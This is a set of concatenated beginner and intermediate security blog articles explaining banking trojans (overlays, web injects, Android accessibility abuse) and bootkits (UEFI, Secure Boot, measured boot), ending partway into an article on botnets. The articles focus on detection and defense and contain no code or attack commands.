https://www.cisa.gov/news-events/alerts/2020/05/26/detecting-web-shells-improve-your-web-server-security --- ## What Is a Banking Trojan? Overlay & Web-Inject Fraud > Banking trojans steal money by faking login screens and rewriting bank pages mid-session. How overlays and web injects work, plus mobile defense. - URL: https://blog.pwnsy.com/what-is-a-banking-trojan - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: banking-trojan, malware, financial-fraud, web-inject, mobile-malware - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - A banking trojan is malware built to steal money from bank and payment accounts, usually by capturing credentials and quietly manipulating the victim's own banking session. - Its signature techniques are overlays, a fake screen drawn on top of a real banking app, and web injects, extra fields and logic pushed into a real bank page in the browser. - Mobile banking trojans abuse Android accessibility permissions to read the screen, tap buttons, and intercept the one-time codes sent by SMS, defeating basic two-step verification. - Defense combines platform controls, out-of-band transaction confirmation, and phishing-resistant authentication, because the trojan operates inside a session the user already trusts. ### Key Takeaways - Banking trojans are delivered through phishing, fake apps, malvertising, and abused installer formats, then wait quietly until the victim opens a targeted banking site or app. - Overlays and web injects let the malware harvest passwords, card data, and one-time codes without breaking the look of the legitimate site the victim is using. - On Android, requesting accessibility services is the pivotal step: it grants the reading and tapping powers that make automated on-device fraud possible. - Because the fraud happens inside an authenticated session, a stolen password alone is not the whole risk; controls that confirm the transaction out of band matter more. - Family names change (Zeus, TrickBot, Emotet lineage on desktop, and Android families like Cerberus and its forks), but the overlay and inject playbook stays constant. Most malware that reaches the news locks files or steals data to sell later. A banking trojan has a narrower and more direct goal: take money out of a real account, ideally while the account holder is looking at what appears to be a normal banking session. It does not need to break the bank's servers. It corrupts the one device the bank has to trust, the customer's own. A banking trojan is malware that specializes in financial theft. It sits on an infected phone or computer, waits for the victim to open a targeted bank or payment service, and then steps in to capture credentials and steer the money. The clever part is that from the victim's side, almost nothing looks wrong. ## How a banking trojan gets its money The core trick is patience plus deception. The malware installs quietly and stays dormant. It carries a target list of banks, wallets, and payment apps its operator cares about. When the victim launches one of those, the trojan activates and applies one of two signature techniques. **Overlays** are fake screens drawn on top of a legitimate app. The victim opens a real banking app, and the trojan instantly covers it with a pixel-matched copy of the login screen. The victim types their credentials into the fake screen, the malware records them, and control passes back to the real app as if nothing happened. On MITRE ATT&CK this maps to [Input Capture (T1056)](https://attack.mitre.org/techniques/T1056/) on desktop and [Input Capture (T1417)](https://attack.mitre.org/techniques/T1417/) on mobile. **Web injects** work in the browser. The trojan modifies the bank's real web page after it loads, inserting extra form fields or scripts that the bank never sent. A page that normally asks for a username and password suddenly also asks for a full card number, a PIN, or a one-time code, all wrapped in the bank's genuine styling. The victim trusts the page because the address bar and the branding are real. Only the injected fields are the attacker's. Both techniques share a design goal: harvest everything needed to move money without alarming the victim. ## The one-time code problem Banks responded to password theft with a second factor, often a code sent by SMS or generated in an app. Banking trojans were built to defeat exactly that. On desktop, a web inject can present a fake "confirm your identity" prompt at the precise moment the attacker is logging in from their own machine, tricking the victim into reading out the very code that authorizes the fraudulent session. On mobile, the trojan can read incoming SMS directly and forward the code to the operator, or auto-fill it, so the victim never sees the message that should have warned them. This is why a banking trojan is more dangerous than a simple password stealer. It is positioned to intercept the second factor in real time, inside the same flow the victim believes they are driving. Some banking trojans run automatic transfer systems that swap the payee and amount after the victim approves a payment. The screen shows the transfer the victim intended; the instruction sent to the bank is the attacker's. Confirming a transaction out of band, on a channel the malware does not control, is what breaks this. ## Mobile banking trojans and accessibility abuse Android is the busiest battleground for banking trojans, and one permission explains most of it: accessibility services. Accessibility exists to help users who need the screen read aloud or navigated automatically. It grants an app the power to read everything on screen and to perform taps and gestures on the user's behalf. A banking trojan that talks a victim into enabling accessibility gains almost total control of the session. It can read the balance, see what the user types, dismiss security warnings, grant itself further permissions, and even initiate a transfer with no one touching the phone. The delivery is usually a fake app: a bogus system update, a fake delivery-tracking app, or a cracked version of something popular, often sideloaded from outside the official store. Once installed, the app does little except beg for accessibility access using an urgent-sounding reason. That single grant is the hinge the whole attack turns on. The installers that carry these payloads tend to be a small set of abused formats, from Android package files to fake update bundles on desktop. Our File-Format Abuse Atlas catalogues those delivery formats and how to spot them, which is the same choke point where you stop a trojan before it ever asks for a permission. ## Desktop versus mobile at a glance | Aspect | Desktop banking trojan | Mobile banking trojan | |---|---|---| | Primary technique | Web injects in the browser | Screen overlays on apps | | Key capability abused | Browser hooking and man-in-the-browser | Android accessibility services | | One-time code theft | Fake prompts timed to the attacker's login | Reading or forwarding SMS codes on device | | Common delivery | Malspam, malvertising, abused installers | Fake apps and sideloaded packages | | Typical goal | Automated transfers from the browser session | On-device automated transfers | The columns differ in mechanics, but the strategy is identical: operate inside a session the victim already trusts, and take the money before anyone notices. ## Why the model keeps working Family names come and go. The desktop lineage runs through names like Zeus, whose leaked source spawned countless forks, then TrickBot and the Emotet ecosystem that distributed such payloads at scale. On Android, families like Cerberus and its many descendants recycle the same overlay and accessibility playbook. Operations get disrupted, source code leaks, and the next crew rebrands and continues. Chasing individual families is a losing game because the underlying techniques are cheap, well understood, and independent of any one codebase. Many of these operations feed the same downstream criminal economy as other malware. Our Threat Groups directory tracks the crews and access brokers that run and resell these campaigns, so you can see who sits behind the fraud and where its proceeds flow. ## How to defend against banking trojans Because the trojan operates inside a trusted session, defense has to work at the platform, the transaction, and the authentication layers together. 1. **Install apps only from official stores, and never enable accessibility for a bank-adjacent app.** On Android, treat any app that requests accessibility services with deep suspicion unless it is an assistive tool you sought out deliberately. That grant is the single most important thing to withhold. 2. **Keep the device and browser patched.** Web injects and overlays often ride on top of older, exploitable software. Current platforms remove many of the hooks these trojans rely on. 3. **Prefer out-of-band transaction confirmation.** A banking app that confirms the payee and amount on a separate secured channel, rather than a code typed back into the same flow, defeats automatic transfer systems that rewrite the payment. 4. **Move to phishing-resistant authentication where the bank supports it.** Passkeys and hardware keys remove the reusable code that overlays and injects are built to capture. 5. **Watch for the tells.** An app that suddenly re-asks for login, a banking page requesting far more than usual, or a phone that dismisses its own security prompts are all signs of overlay or accessibility abuse. 6. **On infection, treat the account as compromised.** Move to a clean device, change credentials from there, and have the bank review recent transfers. Cleaning the infected device alone does not undo an authorized fraudulent payment. For any large or unfamiliar transfer, confirm the payee through a channel the malware cannot see, a phone call to the bank or a hardware confirmation device. If the malware controls the screen and the SMS, the only trustworthy confirmation is one that never touches the infected device. ## Inside the browser: man-in-the-browser and automatic transfers The desktop side of the family deserves a closer look, because the man-in-the-browser technique is what makes web injects possible and what makes them so hard to notice. A banking trojan on a desktop typically hooks into the browser itself, inserting code that runs inside the browser process. From that position it can read and rewrite web content after the browser has decrypted it and before the user sees it, and it can capture form data after the user types it and before it is encrypted and sent. The encrypted connection to the bank stays intact and valid. The manipulation happens inside the browser, on the plaintext, which is why the padlock and the certificate look perfectly normal throughout. This is the man-in-the-browser position, and it sits inside the trust boundary that transport encryption is meant to protect. Web injects are delivered as configuration to this hooked browser. The trojan carries a set of rules that say, for a given bank's page, insert this block of fields or this script. Operators update these inject sets like any other product, tuning them to each target bank's real page layout so the added fields match the genuine styling. A single trojan can carry injects for dozens of institutions and apply the right one when it recognises the page. The most damaging desktop capability is the **automatic transfer system**. Rather than relying on the operator to log in manually with stolen credentials, an automatic transfer system scripts the fraud inside the victim's own authenticated session. When the victim initiates a payment, the system silently swaps the destination account and sometimes the amount before the instruction reaches the bank, then rewrites the confirmation the victim sees so the displayed transfer still matches what they intended. The victim approves a payment they believe is going to the right place, and the bank receives an instruction to send it somewhere else. Because the transaction originates from the genuine session on the genuine device, it carries every signal of legitimacy the bank looks for. This is the deeper reason out-of-band confirmation matters so much. If the malware controls the browser, the screen, and the on-device messages, then every channel it can see can be faked. Only a confirmation that travels on a channel the malware does not touch, a separate hardware device or a call the user places to the bank, can be trusted to show the real payee and amount. ## A worked example: an overlay attack on a phone Following a mobile infection through its stages shows how quietly the whole thing operates. 1. **The lure.** A user receives a text message claiming a parcel could not be delivered, with a link to track it. The link leads to a page offering a tracking app to download. 2. **Sideloaded install.** The page walks the user through allowing installation from outside the official store, and the app installs. It looks plausible, with an icon and a name that fit a delivery service. 3. **The permission request.** On first launch the app does almost nothing useful. Instead it shows a screen urging the user to enable accessibility services, framed as a step needed for the app to work. The user, wanting the promised function, grants it. 4. **Dormancy.** The app now waits. It carries a target list of banking and payment apps. Nothing appears wrong, and the user forgets about the harmless tracking app that never quite worked. 5. **Activation.** Days later the user opens their real banking app. The trojan, watching the screen through accessibility, recognises it and instantly draws a pixel-matched login overlay on top. 6. **Capture.** The user types their credentials into the overlay, believing it is the bank. The malware records them and dismisses the overlay, and the real app appears behind it as if the user simply mistyped once. 7. **Second factor.** When the bank sends a one-time code by SMS, the trojan reads it directly from the messages and forwards it to the operator, or auto-fills it, so the user never sees the warning the code was meant to be. 8. **The transfer.** With credentials and the code, the operator authenticates as the user. On more capable families, accessibility is used to initiate and approve a transfer on the device itself, so the fraudulent instruction comes from the victim's own phone. At no point did the user see an error, a broken screen, or an obvious sign of compromise. Every step happened inside apps and flows the user already trusted, which is the whole design. Almost every mobile banking trojan converges on the same single moment: convincing the user to enable accessibility services. Before that grant the app is nearly harmless. After it, the app can read the screen, capture input, dismiss warnings, and drive taps. Everything upstream of that moment is social engineering aimed at earning the grant, and everything downstream is the fraud it unlocks. Withholding accessibility from anything bank-adjacent removes the hinge the whole attack turns on. ## How banking trojans compare to related malware Banking trojans overlap with other financial-crime malware, and the boundaries are worth drawing so an incident is scoped correctly. | Malware | Core method | Where the theft happens | How it differs from a banking trojan | |---|---|---|---| | Banking trojan | Overlays and web injects inside a trusted session | On the victim's own device, in real time | The category in focus | | Infostealer | Grabs saved passwords and cookies, then leaves | Later, wherever the operator reuses them | No live session manipulation; it collects and departs | | Keylogger | Records keystrokes | Wherever captured input is replayed | A component many banking trojans include, not the whole strategy | | Card skimmer | Captures card data at a payment page or terminal | At the point of entry | Targets card data at input, not the whole banking session | | RAT | Interactive remote control of the device | Anywhere the operator directs | General-purpose control; a banking trojan is specialised for finance | The distinguishing trait of a banking trojan is that it manipulates a live, authenticated session on the victim's own device. It does not simply collect a credential for later use. It steps into the moment money moves and steers it, which is what lets it defeat second factors and rewrite transactions. ## Common misconceptions **A one-time code makes my account safe.** One-time codes raise the bar, but banking trojans were built specifically to defeat them, by reading SMS on the device or by prompting the victim to hand the code over at the exact moment the attacker needs it. A code delivered to a compromised device is not a strong second factor. **The padlock and the real bank address mean the page is safe.** With a web inject, the address bar and branding are genuine because the trojan modifies the real page after it loads. The injected fields carry the bank's styling. Trusting the visible page is exactly what the technique exploits. **Only careless people get infected.** Delivery leans on ordinary, plausible lures: a parcel notice, a fake update, a popular app. The pivotal step, granting accessibility, is framed as a routine permission. Capable social engineering catches careful people too. **It only matters on Android.** Android sees the most activity because of sideloading and accessibility abuse, but desktop banking trojans using web injects and man-in-the-browser techniques have a long history and remain active. Both platforms are targeted. **Cleaning the device undoes the fraud.** Removing the malware stops further theft, but a transfer the malware already authorised is a completed transaction. Recovery runs through the bank, not through antivirus. The device cleanup and the financial response are separate tasks. ## Detection signals Because the trojan hides inside trusted flows, the signs are subtle and mostly behavioural. - **An app re-asking for login unexpectedly.** A banking app that suddenly presents a fresh login screen when you were already signed in can be an overlay sitting on top of the real one. - **A banking page requesting far more than usual.** A login page that also asks for a full card number, a PIN, or several one-time codes is a strong sign of a web inject adding fields the bank never sent. - **A phone dismissing its own security prompts.** Warnings that flash and vanish, or permission dialogs that seem to answer themselves, point to accessibility being driven by malware. - **An app that demanded accessibility for no clear reason.** Any recently installed app that pushed hard for accessibility services, especially one sideloaded from outside the store, deserves immediate suspicion. - **Unfamiliar transfers or payees.** Small test transfers or payees you do not recognise in your history can indicate automated transfer activity. - **Battery, data, or performance changes after a sideloaded install.** A background process watching the screen and beaconing out can leave faint resource traces. ## Frequently asked questions **What is the difference between a banking trojan and an infostealer?** An infostealer grabs saved credentials and cookies and leaves, and the theft happens later when the operator reuses them. A banking trojan stays on the device and manipulates the live banking session in real time, using overlays or web injects to capture data and steer money as the victim uses the account. **How does a banking trojan defeat two-factor authentication?** On mobile it reads or forwards the one-time code straight from the device's messages, or auto-fills it, so the victim never sees the warning. On desktop it can show a fake confirmation prompt timed to the attacker's own login, tricking the victim into handing over the code that authorises the fraudulent session. **Why is Android the main target?** Because Android allows sideloading apps from outside the official store and offers accessibility services that grant broad screen-reading and tapping powers. Together these let a trojan install through a lure and then, with one permission grant, control the banking session. The combination is what makes on-device automated fraud practical. **What is an overlay?** A fake screen the malware draws on top of a real app. When the victim opens a targeted banking app, the trojan instantly covers it with a pixel-matched login screen. Credentials typed into the overlay go to the attacker, and control passes back to the real app so nothing looks wrong. **What is a web inject?** A modification the trojan makes to a bank's real web page after it loads in the browser, inserting extra fields or scripts the bank never sent. Because the page, address, and branding are genuine, the victim trusts the added fields and enters card numbers, PINs, or codes the attacker wants. **If I think I am infected, what should I do?** Stop using the device for banking. Move to a separate clean device, change your banking credentials from there, and contact the bank to review recent and pending transfers. Then remove the malicious app or rebuild the infected device. Cleaning the device alone does not reverse a transfer the malware already authorised. **Do banking trojans still matter with modern banking apps?** Yes. Family names and codebases change, but the overlay and web-inject playbook stays constant because it targets the trust the user places in a session they believe they control. Out-of-band transaction confirmation and phishing-resistant authentication are what actually undercut the technique. Banking trojans are not exotic. They win by sitting quietly on a trusted device and stepping into an ordinary banking session at the moment money moves. Withhold the accessibility grant, keep platforms current, and confirm transactions on a channel the malware does not own, and the whole model loses its footing. ## Related guides - [What Is an Infostealer](/what-is-an-infostealer) - [What Is a RAT](/what-is-a-rat) - [AI Phishing Attacks](/ai-phishing-attacks) - [Crypto Exchange Security](/crypto-exchange-security) ### Sources - MITRE ATT&CK: Input Capture (T1056) (MITRE): https://attack.mitre.org/techniques/T1056/ - MITRE ATT&CK Mobile: Input Capture (T1417) (MITRE): https://attack.mitre.org/techniques/T1417/ - CISA: Security Tip on Protecting Against Malicious Code (CISA): https://www.cisa.gov/ --- ## What Is a Bootkit? Persistence Below the Operating System > A bootkit infects the boot process so it loads before the OS and survives reinstalls. How boot and UEFI-level malware works, and how Secure Boot defends. - URL: https://blog.pwnsy.com/what-is-a-bootkit - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: bootkit, malware, uefi, persistence, secure-boot - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - A bootkit is malware that infects the boot process, so it runs before the operating system loads and controls the machine from the earliest moment of startup. - Because it lives below the OS, a bootkit survives operating-system reinstalls and disk reformats, and it can disable or blind the security tools that load after it. - Modern bootkits target the UEFI firmware boot chain, planting themselves in firmware or the EFI system partition rather than the old legacy boot sector. - Secure Boot, verified firmware updates, and firmware-level integrity checks are the controls that make the boot chain trustworthy again. ### Key Takeaways - The boot process runs before any operating-system defense, so code that hijacks it starts first and gets to decide what everything above it sees. - Bootkits achieve persistence deeper than rootkits: reinstalling the OS does not touch firmware or, in some cases, the boot partition. - Secure Boot verifies each stage of the boot chain against trusted signatures, which blocks unsigned or tampered boot components from running. - Detection is hard from inside the OS; it relies on firmware integrity measurement, boot attestation, and offline inspection of the boot partition. - Bootkit behaviour maps to MITRE ATT&CK Pre-OS Boot (T1542) and its sub-techniques covering firmware and boot-component tampering. When you press the power button, a lot happens before the operating system exists. Firmware initialises the hardware, finds a bootloader, and hands control up the chain until the OS finally loads and its defenses come online. Every one of those steps runs on trust. Each stage assumes the stage before it was honest. A bootkit breaks that assumption at the root. It plants itself early in the boot chain so that it runs first, and everything that loads afterward, including your antivirus, inherits a machine that was already compromised before it woke up. This is the deepest kind of persistence most defenders will ever have to think about. A rootkit hides inside a running operating system. A bootkit sits underneath the operating system entirely, which is what makes it both powerful and stubborn to remove. ## Why "before the OS" is the whole point Security software is code. Code has to be loaded and run, and on a normal machine that happens well into the boot sequence. Anything that runs earlier can prepare the ground: patch the kernel as it loads, disable a protection, or hide its own files from the tools that will later come looking. A bootkit takes the earliest position it can reach and uses it to control what loads next. Because it establishes itself before the operating system, it maps to the Pre-OS Boot technique, [Pre-OS Boot (T1542)](https://attack.mitre.org/techniques/T1542/) on MITRE ATT&CK, and its purpose is twofold: run first, and survive. Survival is the striking part. Most malware dies when you reinstall the operating system. A bootkit does not, because the boot components it infects are not part of the operating-system install. Reformat the disk, reinstall Windows or Linux, and a firmware-resident bootkit is still there, waiting to load your fresh system on its terms. ## Legacy boot versus the UEFI era Bootkits are as old as the boot sector, but the ground has shifted. **The legacy era.** Old machines used a BIOS that read a Master Boot Record from the very start of the disk. Classic bootkits overwrote the MBR or the volume boot record so their code ran before the bootloader. This was effective for years, and it is why the boot sector became a defended asset. **The UEFI era.** Modern systems replaced BIOS with UEFI firmware and a structured boot process. That closed the old MBR trick but opened new surfaces. UEFI bootkits target the firmware itself, or the bootloader files stored on the EFI system partition, a small partition on disk that the firmware reads to start the OS. The most serious variants write into the SPI flash chip on the motherboard, which means even replacing the hard drive does not remove them. | Property | Legacy MBR bootkit | UEFI bootkit | |---|---|---| | Target | Master Boot Record on disk | Firmware flash or EFI system partition | | Survives OS reinstall | Sometimes | Yes | | Survives disk replacement | No | Yes, when resident in firmware flash | | Primary defense | Boot sector monitoring | Secure Boot and firmware integrity | | Relative prevalence today | Declining | The current focus | The direction of travel is clear. As Secure Boot and firmware protections matured, the highest-end implants moved deeper, into the firmware where trust originates. ## What a bootkit does once it loads Running first is a means, not an end. With that position a bootkit typically: - **Tampers with the boot chain** so later stages load a modified or unsigned component without complaint. - **Patches the OS kernel in memory** as it loads, to disable a protection or install a hook, without changing any file on disk. - **Deploys or protects a payload** higher in the stack, often a rootkit or backdoor, and keeps it hidden. - **Re-infects on every boot**, so removing the OS-level payload alone is pointless. The next startup restores it. A firmware-resident bootkit lives outside the operating system and outside the disk. Wiping the drive and reinstalling the OS leaves it untouched, and it will re-establish its payload on the next boot. Remediation may require a verified firmware reflash or, in the worst case, hardware replacement. ## How bootkits get installed Like rootkits, bootkits are a late-stage capability. Reaching the boot chain or firmware needs high privilege, so a bootkit sits at the end of an intrusion, not the start: 1. **Initial access and escalation** to administrator or system level through the usual routes. 2. **Access to the boot surface**, writing to the EFI system partition or, for the deepest implants, to firmware flash. 3. **Persistence established** below the OS. 4. **Payload protected**, with the bootkit ensuring the operator's tools reload every boot. Writing to firmware flash is often gated by hardware protections, which is why firmware update authentication and flash write-protection matter so much. The delivery that starts the whole chain is still ordinary: a malicious file the user or a service runs. The abused formats behind that first step are catalogued in our File-Format Abuse Atlas, and the actors who deploy firmware-level implants are the kind tracked in our Threat Groups directory, since this level of capability usually belongs to well-resourced groups. ## How Secure Boot defends the chain The core defensive idea is to make every stage verify the next before running it, so trust is checked rather than assumed. **Secure Boot** is the UEFI feature that enforces this. At each step the firmware checks the digital signature of the component it is about to load against a set of trusted keys. A bootloader that is unsigned, or signed by a key that is not trusted, does not run. This directly blocks the classic bootkit move of substituting a tampered boot component. **Verified and measured boot** goes further. Each stage measures the next into a hardware security chip, building a record of exactly what loaded. That record can be checked, locally or by a remote attestation service, so a tampered boot chain fails verification even if it managed to run. **Firmware update signing and flash protection** defend the deepest layer. If the firmware only accepts signed updates and the flash chip is write-protected against unauthorised changes, planting a firmware-resident implant becomes far harder. For the wider picture of protecting this layer, see [UEFI Firmware Security Explained](/uefi-firmware-security-explained). ## How to defend against bootkits The controls stack from the hardware up. 1. **Enable Secure Boot and keep it on.** It is the front-line block against tampered boot components, and it should be enforced, not merely available. 2. **Keep firmware updated.** Firmware patches close the escalation flaws that let attackers reach the boot surface in the first place. Treat firmware like any other patch stream. 3. **Enforce least privilege.** Reaching the boot chain needs high privilege. Denying administrator access to everyday accounts removes the ladder. 4. **Use a hardware root of trust.** A TPM or equivalent enables measured boot and attestation, so a modified boot chain can be detected rather than trusted. 5. **Attest before trusting.** Where the platform supports it, check boot integrity through attestation before granting a device access to sensitive resources. 6. **Prepare firmware remediation.** Know the verified reflash procedure for your hardware in advance, because for a confirmed firmware implant an OS reinstall is not enough. On-OS antivirus loads after the bootkit and can be blinded by it. Real assurance comes from boot integrity: Secure Boot enforced, measured boot recorded to a TPM, and attestation checked. If the boot chain verifies clean from the hardware up, the layers above it stand on solid ground. ## The boot chain, stage by stage To understand where a bootkit inserts itself, it helps to lay out the stages a modern machine passes through between power-on and a running operating system, because each handoff is a point where trust is passed forward. Power reaches the board and the firmware begins executing from the SPI flash chip on the motherboard. This firmware initialises memory, the processor, and the buses, and it is the earliest software the machine runs. An implant here is the deepest possible, because it precedes everything and survives disk changes entirely. The firmware then locates a bootloader. On a UEFI system it reads the EFI system partition, a small partition on the disk holding the bootloader files, and prepares to execute the one it is configured to use. An implant that modifies or replaces a bootloader file on this partition runs after firmware but still before the operating system, and it survives an OS reinstall that does not clean the partition. The bootloader loads the operating-system kernel and the early drivers it needs. This is the stage a bootkit most wants to influence, because patching the kernel as it loads lets the implant disable a protection or install a hook in memory without changing any file the OS will later scan. Finally the kernel initialises, brings up its own security features, and starts the services and, eventually, the security software that most people think of as the machine's defenses. Everything at this level runs on a foundation the earlier stages already established. If any of those earlier stages was dishonest, the defenses here inherit a compromised machine and may be blinded to the very thing that subverted them. Read the chain top to bottom and the design goal of a bootkit is obvious: get as early in that sequence as capability allows, because each stage controls what the stages after it see. The same logic explains why defenders invest so heavily in the earliest links. A check placed at the firmware level governs everything downstream of it, while a check placed only in the operating system governs almost nothing below itself. Security applied late in the chain protects a small slice, and security applied early protects the whole thing, which is why the boot process is defended from the hardware upward rather than from the software down. ## What Secure Boot checks at each handoff Secure Boot maps directly onto that chain by turning each handoff into a verification. Before the firmware runs the bootloader, it checks the bootloader's digital signature against a set of trusted keys held in firmware. A bootloader that is unsigned, or signed by a key that is not trusted, does not run. The trusted bootloader in turn is expected to verify the components it loads, extending the check up the chain so that a tampered stage fails at the point it would otherwise take control. Measured boot adds a second, complementary record. Rather than only permitting or refusing each stage, it measures each component into a hardware security chip such as a TPM, building a log of exactly what loaded in what order. That record can be evaluated locally or sent to a remote attestation service, so even a boot chain that somehow ran can be judged after the fact against a known-good measurement. Permit-or-deny stops the obvious substitution. Measurement catches the subtler case and gives you something to attest against. ## Detection signals Bootkits are built to be invisible from inside the running operating system, which is exactly why detection leans on evidence from below and beside the OS. Concrete indicators worth collecting: - **Secure Boot reporting disabled or in setup mode when policy says it should be enforced.** An endpoint whose firmware settings show Secure Boot off, or its key store cleared, is either misconfigured or has had a protection deliberately removed to allow a tampered component to run. - **Boot measurements that do not match a known-good baseline.** When measured boot records components into a TPM, a change in those measurements between boots, with no firmware update or configuration change to explain it, indicates the boot chain loaded something different. - **Attestation failures for a device that previously passed.** A platform that supports remote attestation and suddenly fails it has a boot chain that no longer verifies clean. - **Unexpected changes to the EFI system partition.** New, modified, or renamed bootloader files on that partition, especially outside an OS or firmware update, are a direct sign of tampering at the bootloader stage. - **Firmware version or configuration that reverts or does not match inventory.** A firmware image that does not match what was deployed, or settings that reset themselves, can indicate implant activity in flash. - **Security software that loads late, is blinded, or reports inconsistent early-boot state.** When on-OS tools disagree with firmware-level or hardware-level evidence about what happened during boot, trust the lower layer and investigate. A bootkit runs before the operating system, so evidence gathered from inside that operating system can be manipulated by the very implant you are hunting. When on-OS tooling and firmware or hardware measurements disagree about the boot, the lower layer is the more trustworthy witness. Genuine assurance comes from Secure Boot state, TPM measurements, and attestation, checked from outside the software the implant controls. ## How bootkits compare to related threats Bootkits are one point on a spectrum of below-the-surface threats, and separating them clarifies both the risk and the remedy. | Threat | Where it lives | Survives OS reinstall | Survives disk replacement | Primary defense | |---|---|---|---|---| | Standard malware | Files and processes in the OS | Rarely | No | Endpoint protection, patching | | Rootkit | Inside the running OS or kernel | Sometimes | No | Kernel integrity, EDR, reinstall | | Bootloader bootkit | EFI system partition on disk | Yes | No | Secure Boot, partition integrity | | Firmware bootkit | SPI flash on the motherboard | Yes | Yes | Signed firmware, flash write-protection, attestation | The table shows why depth changes the remediation. A rootkit hides in the operating system, so a clean reinstall usually clears it. A bootloader bootkit on the EFI system partition survives a naive reinstall that leaves that partition intact, so remediation has to explicitly clean or recreate it. A firmware bootkit in flash survives even a disk swap, which is why its remedy escalates to a verified firmware reflash or, in the worst case, board replacement. Each step deeper removes a remediation option that worked one layer up, and that escalation is the whole reason firmware protections matter so much. ## Common misconceptions Several intuitions about bootkits are wrong in ways that lead to inadequate response. - **"Reinstalling the operating system removes it."** A firmware-resident bootkit lives outside the OS and outside the disk, so a wipe and reinstall leave it untouched and it re-establishes its payload on the next boot. Even a bootloader bootkit on the EFI system partition can survive a reinstall that does not clean that partition. - **"Our antivirus would see it."** On-OS security software loads after the bootkit and can be actively blinded by it. Assurance about the boot has to come from Secure Boot state, TPM measurements, and attestation, which are evaluated below or beside the software the implant controls. - **"Secure Boot being available means we are protected."** Secure Boot only protects when it is actually enforced. A machine where it is available but disabled, or where its key store has been cleared, gets none of its benefit. It is a setting to verify across the fleet, not merely a capability to own. - **"Bootkits are just old MBR viruses."** The legacy Master Boot Record trick is largely closed by UEFI and Secure Boot. The current focus is UEFI firmware and the EFI system partition, with the most serious implants residing in SPI flash. Treating the threat as a solved legacy problem misses where it actually operates now. - **"This is only a concern for high-security environments."** The capability skews toward well-resourced actors, but the defenses, Secure Boot enforced, firmware patched, least privilege, a hardware root of trust, are ordinary hygiene that every fleet benefits from and that also raise the cost of the whole class of attack. ## Frequently asked questions **What is the difference between a bootkit and a rootkit?** A rootkit hides inside a running operating system, often in the kernel, to conceal activity and maintain access. A bootkit sits underneath the operating system in the boot process, so it runs before the OS loads and can control what the OS and its defenses see. Bootkits achieve deeper persistence, because the boot components they infect are not touched by an OS reinstall, and the deepest ones survive a disk replacement. **Can a bootkit survive reinstalling Windows or Linux?** Yes, in general. A firmware-resident bootkit lives in the motherboard flash, outside the disk entirely, so reinstalling the OS does not remove it. A bootloader bootkit on the EFI system partition can also survive a reinstall that leaves that partition intact. This survival is a defining property of the threat and the reason an OS reinstall is not sufficient remediation for a confirmed firmware implant. **Does Secure Boot stop all bootkits?** Secure Boot blocks the classic move of substituting an unsigned or untrusted boot component, which stops a large part of the bootloader-level threat when it is enforced. It is strongest combined with measured boot and attestation, which catch tampering that manages to run, and with signed firmware updates and flash write-protection, which defend the deepest layer. It has to be actually enforced, and its trusted keys kept sound, to deliver that protection. **How do you detect something that runs before the operating system?** You rely on evidence from below and beside the OS rather than from inside it. Secure Boot state, boot measurements recorded to a TPM, and remote attestation give a view of what loaded that the implant cannot easily forge. On-disk signals such as unexpected changes to the EFI system partition, and firmware that does not match inventory, add to the picture. When on-OS tools disagree with these lower-layer measurements, the lower layer is the more trustworthy source. **How does a bootkit get installed in the first place?** It is a late-stage capability. Reaching the boot chain or firmware needs high privilege, so a bootkit typically sits at the end of an intrusion that already achieved administrator or system access through ordinary means. From there the attacker writes to the EFI system partition or, for the deepest implants, to firmware flash. Writing to flash is often gated by hardware protections, which is why firmware update authentication and flash write-protection are such important controls. **What maps a bootkit to MITRE ATT&CK?** Bootkit behaviour falls under Pre-OS Boot (T1542) and its sub-techniques, including System Firmware (T1542.001) for implants in firmware and the related sub-techniques covering bootloader and boot-component tampering. These describe adversary techniques for establishing themselves in the boot process below the operating system. **What should remediation look like for a confirmed firmware implant?** An OS reinstall is not enough. Remediation may require a verified firmware reflash using a known-good image, performed through a trusted process, and in the worst case hardware replacement when the flash cannot be trusted to be cleaned. Knowing your hardware's verified reflash procedure in advance is part of being prepared, because it is difficult to improvise during an active incident. Bootkits matter because they attack the assumption every defense rests on: that the machine started honestly. Get the boot chain right, with Secure Boot enforced, firmware patched, and a hardware root of trust checking each stage, and you take away the position a bootkit needs. Leave it unverified, and no amount of security software above it can be fully trusted, because something got there first. ## Related guides - [What Is a Rootkit](/what-is-a-rootkit) - [UEFI Firmware Security Explained](/uefi-firmware-security-explained) - [Malware Persistence Techniques](/malware-persistence-techniques) - [Intro to Malware Analysis](/intro-to-malware-analysis) - [What Is Fileless Malware](/what-is-fileless-malware) ### Sources - MITRE ATT&CK: Pre-OS Boot (T1542) (MITRE): https://attack.mitre.org/techniques/T1542/ - MITRE ATT&CK: Pre-OS Boot: System Firmware (T1542.001) (MITRE): https://attack.mitre.org/techniques/T1542/001/ - NIST SP 800-147: BIOS Protection Guidelines (NIST): https://csrc.nist.gov/pubs/sp/800/147/final --- ## What Is a Botnet? Command Structures and Takedowns Explained > A botnet is a network of hijacked devices controlled at scale. How command structures work, what botnets do, and how sinkholing takes them down. - URL: https://blog.pwnsy.com/what-is-a-botnet - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: botnet, malware, command-and-control, ddos, network-security - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [Network Segmentation Guide: Zones, Microsegmentation & Rollout](https://blog.pwnsy.com/network-segmentation-guide) ### TL;DR - A botnet is a collection of internet-connected devices infected with malware and controlled together by an operator, who directs them all through a command-and-control channel. - The command structure can be centralized, with bots reporting to a few servers, or peer-to-peer, where bots relay instructions among themselves and there is no single point to shut down. - Botnets are 